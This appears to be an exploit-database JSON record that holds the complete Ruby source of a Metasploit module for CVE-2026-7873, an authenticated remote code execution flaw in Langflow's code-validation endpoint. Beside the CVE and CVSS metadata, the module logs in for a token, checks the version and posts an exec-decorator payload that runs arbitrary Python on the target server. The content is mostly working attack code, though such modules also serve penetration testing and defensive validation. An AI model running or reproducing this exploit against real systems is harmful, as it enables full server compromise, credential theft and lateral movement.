{"exploit":{"id":"MSF-multi--http--langflow_auth_rce_cve_2026_7873","name":"Langflow AI Code Validation Authenticated RCE","description":"Langflow versions 1.0.0 through 1.10.0 are susceptible to authenticated remote code execution due to improper validation of code in the `/api/v1/validate/code` endpoint. Arbitrary code is executed under the context of the backend Langflow process.","cves":["CVE-2026-7873"],"author":"Richard Howe, n0k0","published":"2026-06-30","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb","path":"modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_auth_rce_cve_2026_7873.rb","vulnerabilities":[{"id":"CVE-2026-7873","state":"PUBLISHED","title":"Code Injection Vulnerability in Code Validation Endpoint","titleSource":"CVE Program","description":"IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-7873","cvss":{"version":"3.1","baseScore":9.9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"ibm","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-7873"},"updatedAt":"2026-07-01T17:27:51.362Z","retrievedAt":"2026-11-25T16:15:43.173Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_7873.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_7873","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_7873/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_auth_rce_cve_2026_7873/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI Code Validation Authenticated RCE',\n        'Description' => %q{\n          Langflow versions 1.0.0 through 1.10.0 are susceptible to authenticated remote code\n          execution due to improper validation of code in the `/api/v1/validate/code` endpoint.\n\n          Arbitrary code is executed under the context of the backend Langflow process.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>', # Msf module\n          'n0k0' # Vulnerability Discovery\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-7873'],\n          ['URL', 'https://www.ibm.com/support/pages/node/7278441']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'RPORT' => 7860 },\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-06-30',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        ),\n        OptString.new(\n          'USERNAME',\n          [true, 'LANGFLOW USERNAME', '']\n        ),\n        OptString.new(\n          'PASSWORD',\n          [true, 'LANGFLOW PASSWORD', '']\n        )\n      ]\n    )\n  end\n\n  def get_token(username, password)\n    data = {\n      'username' => username,\n      'password' => password\n    }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),\n      'vars_post' => data\n    )\n\n    return unless res&.code&.between?(200, 299)\n\n    json = res.get_json_document\n    return unless json.is_a?(Hash)\n\n    json['access_token']\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    begin\n      version = Rex::Version.new(version_str.to_s)\n    rescue StandardError\n      return Exploit::CheckCode::Unknown('Failed to parse version.')\n    end\n\n    # Vulnerable version of Langflow\n    if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.10.0'))\n      return Exploit::CheckCode::Appears(\n        \"Version #{version} detected, which appears vulnerable.\"\n      )\n    end\n\n    # Patched version of Langflow\n    Exploit::CheckCode::Safe(\"Version #{version} detected, which is not vulnerable.\")\n  end\n\n  def exploit\n    username = datastore['USERNAME']\n    password = datastore['PASSWORD']\n    @token = get_token(username, password)\n\n    if @token.to_s.empty?\n      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')\n    end\n\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),\n        'headers' => {\n          'Content-Type' => 'application/json',\n          'Authorization' => \"Bearer #{@token}\"\n        },\n        'data' => {\n          'code' => \"@exec(\\\"#{payload.encode}\\\")\\ndef #{rand_text_alpha(6)}():\\n    pass\"\n        }.to_json\n      }\n    )\n\n    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200\n  end\nend\n","sha256":"bbc71f8e7656287b3a6f4610ac7f38c2b0af4e59de6c0d35abe89ad707d40fbe","bytes":4360,"fetchedAt":"2026-11-25T16:31:00.789Z","encoding":"utf-8 (display only; download retains original bytes)"}